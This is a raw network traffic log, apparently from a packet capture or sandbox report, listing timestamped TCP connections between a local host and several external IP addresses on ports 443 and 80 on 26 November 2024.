Nov 26, 2024 16:31:41.935338020 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.935394049 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.964148045 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.964214087 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.964322090 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.966036081 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.966057062 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.966068983 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.966074944 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.970379114 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.970418930 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.970698118 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.971076965 CET	49852	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.971090078 CET	443	49852	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.972220898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.061403036 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.061455011 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.061517000 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.061914921 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.061930895 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.172043085 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.172090054 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.172368050 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.172616005 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.172631979 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.189073086 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.189515114 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.189541101 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.189922094 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.190294027 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.190303087 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.190692902 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.190752029 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.190965891 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.190982103 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.191023111 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.191029072 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.191041946 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.191121101 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.191226959 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.191293001 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.191701889 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.192260027 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.192266941 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.193037987 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.193108082 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.193234921 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.193239927 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.235718966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.237504005 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.237862110 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.237874985 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.238955021 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.239016056 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.239406109 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.239478111 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.239615917 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.239624023 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.280616999 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.281902075 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.281908989 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.282973051 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.283037901 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.283773899 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.283832073 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.284759045 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.284764051 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.296454906 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.299704075 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.299767971 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.299911976 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.299926996 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.306123018 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.306183100 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.306236982 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.306241989 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.306289911 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.306329966 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.306572914 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.306591988 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.339633942 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.339646101 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.359494925 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.359494925 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.359499931 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.359608889 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.563183069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563198090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563209057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563219070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563231945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563242912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563265085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563276052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563293934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563321114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563329935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563340902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563354015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563381910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563400030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563435078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563482046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.563503981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.563527107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.568443060 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.568494081 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.569147110 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.569169998 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.569302082 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.569313049 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.569765091 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.569768906 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.569871902 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.569876909 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.671346903 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.671430111 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.671648026 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.671926975 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.671947002 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.688476086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.688575029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.691937923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.691989899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.702989101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.703059912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.714863062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.714941025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.722029924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.722250938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.722392082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.722433090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.738807917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.738873959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.739068031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.739105940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.754606962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.754630089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.754672050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.754693985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.758997917 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.759083986 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.759298086 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.759426117 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:42.759445906 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:42.770005941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.770103931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.770349026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.770397902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.783492088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.783588886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.784069061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.784140110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.797293901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.797548056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.797697067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.798110008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.810549974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.810830116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.810899019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.823535919 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.823582888 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.823637962 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.824239969 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.824249983 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.824300051 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.824821949 CET	49855	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.824836969 CET	443	49855	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.824851036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.824974060 CET	49856	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.824985027 CET	443	49856	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.824995041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.832487106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.832604885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.832772017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.832813025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.837028027 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.837954044 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.837981939 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.838491917 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:42.838500023 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:42.846661091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.846741915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.846992016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.847034931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.859236956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.859325886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.859738111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.859786034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.883747101 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.883817911 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.883927107 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.884027004 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:42.884044886 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:42.887521029 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.894337893 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.894434929 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.894463062 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.895062923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.895148993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.896209955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.896282911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.906184912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.906225920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:42.906261921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.906280994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:42.914882898 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.914942026 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.914959908 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:42.965898991 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:42.965939999 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082113981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082125902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082180023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.082251072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082262993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082293034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.082320929 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082334995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.082381964 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082408905 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.082411051 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082422972 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082428932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082442999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082458019 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.082479000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.082606077 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082623959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082638979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.082669973 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.082674980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.082680941 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.082703114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.135792017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.135809898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.135875940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.135955095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.135970116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136025906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136101961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136116982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136157990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136287928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136292934 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.136301994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136363983 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.136373043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136373043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136399031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136406898 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.136411905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136414051 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.136451006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136476994 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.136478901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136492014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.136508942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136528969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.136543989 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.136595964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.154442072 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.154459000 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.169178963 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.169224024 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.169284105 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170145988 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170187950 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.170214891 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.170238018 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.170262098 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170466900 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170483112 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.170530081 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170964956 CET	49857	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.170979023 CET	443	49857	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.171509027 CET	49858	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.171525002 CET	443	49858	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.171962976 CET	49859	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.171972990 CET	443	49859	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.174263954 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.174278975 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.174305916 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.174312115 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.179111004 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.179147959 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.179276943 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.181608915 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.181648016 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.181740999 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.181941032 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.181953907 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.182554007 CET	49861	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.182564974 CET	443	49861	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.219935894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.219958067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.220073938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.220108032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.220120907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.220150948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.220176935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.220223904 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.220284939 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.220299959 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.226157904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.226174116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.226200104 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.226232052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.226279974 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.226288080 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.237945080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.237963915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.238018036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.238029003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.238044024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.238044024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.238064051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253134012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253151894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253197908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253206015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253211021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253225088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253236055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253237963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253251076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253258944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253298998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253298998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253299952 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253340960 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253349066 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253370047 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253376961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253388882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253403902 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253427982 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253427982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253429890 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253438950 CET	443	49836	142.250.181.65	192.168.2.6
